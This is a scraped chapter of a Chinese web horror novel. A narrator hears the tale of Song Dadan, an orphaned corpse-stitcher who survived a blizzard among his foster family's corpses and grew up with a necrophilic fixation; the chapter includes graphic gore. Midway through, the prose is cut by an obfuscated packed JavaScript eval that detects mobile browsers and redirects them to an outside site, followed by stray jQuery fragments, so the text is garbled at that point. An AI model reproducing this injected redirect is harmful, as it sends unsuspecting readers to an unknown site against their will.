46.缝尸匠——宋大胆(一)

作品:《心惊胆颤

    这个故事不是很长,但足以让我头皮发麻,发件人署名是赵琦。


    我不知道这是个杜撰的故事,还是赵琦真的在为当年的事在做忏悔。


    经过前几个故事,我已经不再去点开投稿人的主页,毕竟如果再是查无此人,也只会给我徒增烦恼罢了。


    ——


    时间很快来到两个月后。


    最近我的创作又陷入了瓶颈,不过好消息是小雅已经通过测试,她可以接手一些D级以及C级的案子了。


    这让我也有了一丝喘息,上级直接大手一挥,给了我一个月的假期。


    在这一个月里,我可以尽情出去游玩。


    就这样我立马动身前往一间深山里的山庄。


    这里没有城市的霓虹,没有车水马龙的喧嚣,只有绵延的山影和偶尔掠过的鸦群。


    山庄很旧,木质的地板踩上去会发出“吱呀”的呻吟,像是某种垂死生物的喘息。


    不过好在,这里通了网。


    我打开电脑,登录论坛,翻看着私信。这些年,我靠着网友提供的离奇经历,写了不少故事。有些是编的,有些……却真实得让人脊背发凉。


    忽然,一条新私信跳了出来——


    “您好,我有很多故事,但打字太慢,能加联系方式语音讲给您听吗?”


    发信人的ID我很熟悉,是我最早的一批读者,从我写第一个鬼故事起,他就一直关注着我。


    我回复:“可以,加我光迅吧。”


    几分钟后,语音通话接通了。


    “喂?”我试探性地开口。


    “您好。”


    出乎意料,对面传来的竟是一个女声,嗓音空灵,像是从很远的地方飘来的,带着某种不真实的回响。


    “你好齐先生,我叫孟英。”


    我们没怎么寒暄,她似乎比我更急着进入主题。


    “您听说过幽都镇吗?”她问。


    我摇头,随即意识到她看不见,便说:“没有。”


    她轻笑了一声,声音轻得像是风吹过纸钱时的沙沙声。


    “那您一定会喜欢这个故事。”


    1


    幽都镇不大,四面环山,镇上的房屋挤挤挨挨地簇拥在一起,像是怕冷似的。


    镇子虽小,却五脏俱全,做什么行当的人都有,尤其是那些和死人打交道的——阴门八匠。


    捞尸人、缝尸匠、赶尸匠、扎纸匠、棺材匠、仵作、风水先生、刽子手。


    八种行当,八种活法,却都逃不开一个“死”字。


    而今天要讲的,是缝尸匠——宋大胆。


    宋大胆本名没人记得了,只因他胆大,镇上的人便都这么叫他。


    他个子不高,身形瘦削,常年穿着一件洗得发白的灰布褂子,袖口沾着洗不净的血渍和尸蜡。


    他的活计,是给死人缝身子。


    人死讲究全尸,缺胳膊少腿的,下了阴司,阎王爷不收,投不了胎。


    所以但凡有横死的、残缺的,家属都会请宋大胆来缝。


    他手艺极好,针脚细密,缝好的尸体几乎看不出拼接的痕迹。只是……他有个怪癖。


    他恋尸。


    这事得从他小时候说起。


    宋大胆是个孤儿,从小在乞丐堆里摸爬滚打。


    有一年冬天,雪下得极大,鹅毛般的雪片砸下来,冻死了不少人。


    他蜷缩在一户人家的屋檐下,嘴唇青紫,手脚已经没了知觉。


    就在他以为自己快要死了的时候,一个温柔的声音将他快要飘远的心神拉回。


    "孩子,进来吧。"开门的妇人将他拉进温暖的屋内。


    这户姓张的人家收留了他。


    张老汉是个木匠,妻子温柔贤惠,还有三个可爱的女儿。


    那是宋大胆记忆中最温暖的时光——热腾腾的饭菜,干净的衣裳,还有张家小女儿偷偷塞给他的糖果。


    然而好景不长。


    第十天夜里,不堪重负的房梁轰然倒塌。


    宋大胆被巨响惊醒时,张家五口已经全部遇难。


    他的右腿被横梁压住,鲜血汩汩流出,在雪地上晕开刺目的红。


    "救命!救命啊!"他声嘶力竭地呼喊,但暴风雪吞没了所有声音。


    渐渐地,寒冷侵蚀了他的意识。


    在即将昏迷之际,他看到了张老汉的尸体——那张曾经和蔼的脸已经僵硬,却依然保持着保护家人的姿态。


    宋大胆命大,躲在墙角,只断了一条腿。可雪封了门,他出不去,外面的人也进不来。


    他得活。


    突然,一个疯狂的念头在宋大胆脑海中闪现。


    他拖着断腿,用尽全身力气将五具尸体拖到一起,围成半圆。


    他又扯下床上的棉被,盖在尸体围成的"堡垒"上。


    死人的身子冻得梆硬,像冰疙瘩,可偏偏能挡风。


    宋大胆的牙齿不停地打颤,断裂的右腿传来钻心的疼痛。


    暴风雪在废墟外呼啸,雪花从缝隙中飘进来,落在他的睫毛上。五具尸体围成的"堡垒"里,温度比外面高不了多少。


    "不能睡..."八岁的宋大胆掐着自己的大腿,指甲深深陷进皮肉里。


    他记得张老汉说过,在雪地里睡着就再也醒不过来了。


    他颤抖着伸出手,碰了碰张夫人的脸。那张总是带着温柔笑意的脸,现在硬得像块石头。


    奇怪的是,尸体竟然还保留着些许余温。宋大胆像抓住救命稻草般,把冻僵的手贴在张夫人颈侧。


    "婶子..."他的眼泪在脸上结成了冰,"我、我好怕..."


    回答他的只有风雪声。


    渐渐地,一种诡异的安全感涌上心头。


    尸体不会伤害他,不会嫌弃他是个小乞丐。


    在这个由死人构筑的庇护所里,他第一次感受到了某种扭曲的"归属感"。


    第三天夜里,宋大胆发起了高烧。迷迷糊糊中,他看见张老汉坐了起来。


    "叔...?"他想要伸手,却发现自己的胳膊重若千钧。


    张老汉的脖子以不正常的角度歪着,断裂的颈椎刺破皮肤,白森森的骨茬上挂着血丝。


    他缓缓转头,浑浊的眼球盯着宋大胆。


    "为、什么...活下来的...是你?"


    宋大胆想要尖叫,却发不出声音。这时,一只冰冷的小手搭上了他的肩膀。


    他僵硬地转头,看见张家最小的女儿正对他笑——她的头盖骨塌陷了一大块,脑浆混着血水从嘴角流下来。


    "宋哥哥..."小女孩的声音像是从很远的地方传来,"来陪我们玩呀..."


    宋大胆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049681|178037||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终于发出了撕心裂肺的尖叫。他拼命往后缩,后背却撞上了什么东西。回头一看,张夫人正用她浮肿的手轻轻抚摸他的头发。


    "好孩子..."她的嘴唇青紫,"留下来...当我们的...孩子..."


    高烧中的宋大胆分不清这是梦境还是现实。他只觉得,这些尸体比活人更亲近他。


    至少,他们不会赶他走,不会用石头砸他,不会骂他是"没爹没娘的野种"。


    "我...我愿意..."高烧让他的意识逐渐模糊,"带我...走吧..."


    就在他即将闭上眼睛的瞬间,一阵剧痛从右腿传来。宋大胆低头看去,发现张家二女儿正用牙齿撕咬他的伤口。


    "吃了你...我们就能...活过来了..."女孩咧开嘴,牙齿上沾满鲜血。


    求生的本能终于战胜了幻觉。宋大胆清醒了一瞬,发现腿部的疼痛是因为断了导致的。


    他就这么靠着五具尸体,熬过了五天。


    雪停的时候,来救人的人掀开废墟,当宋大胆被裹在毛毯里抱出来时,眼神空洞得吓人。


    镇上的郎中说他能活下来是个奇迹,但没人知道,那五天的经历已经永远改变了他。


    每到深夜,年幼的宋大胆就会从噩梦中惊醒。


    但奇怪的是,让他恐惧的不是那些会动的尸体,而是...他竟然开始怀念那种被尸体包围的感觉。


    "他们...是想和我玩..."十二岁的宋大胆蹲在乱葬岗,轻轻抚摸一具无名女尸的脸,"活人才可怕..."


    月光下,女尸青白的皮肤泛着诡异的光泽。


    宋大胆小心翼翼地帮她整理头发,动作温柔得像在对待珍宝。


    当他的手指碰到女尸冰冷的嘴唇时,一种前所未有的悸动席卷全身。


    "原来...这就是温暖的感觉..."他喃喃自语,眼泪大颗大颗地砸在女尸脸上。


    ——


    二十岁那年,宋大胆正式拜师学艺。老缝尸匠第一次带他处理尸体时,其他学徒都面色发青,只有他...在微笑。


    "你小子..."老缝尸匠眯起眼睛,"倒是块好料子。"


    宋大胆没有告诉任何人,当他用针线缝合尸体时,那种熟悉的"温暖"又回来了。


    每一针每一线,都像是在重建某种联系,让他回到那个雪夜的"家"。


    "完美..."完成工作后,他痴迷地凝视着自己的作品。月光从窗缝漏进来,照在缝合好的尸体上。在宋大胆眼中,这具尸体比任何活人都要"生动"。


    他伸出颤抖的手,轻轻抚过尸体的脸颊:"现在...你永远都是我的了..."


    别人避之不及的死人,在他眼里,却像是某种珍宝。


    尤其是那些年轻的女尸,皮肤还没完全僵硬的时候,他甚至会偷偷抚摸她们的脸,像是在欣赏一件艺术品。


    镇上的人背后都说他变态,可碍于他的手艺,又不得不求他。


    宋大胆不在乎。


    他活得像个影子,只在有人需要缝尸的时候才出现。


    其余时间,他就待在自己的小屋里,对着那些残缺的尸体,一针一线地修补,像是在完成某种神圣的仪式。


    直到——


    七月十五,鬼门开的那天晚上。


    他的门,被人敲响了。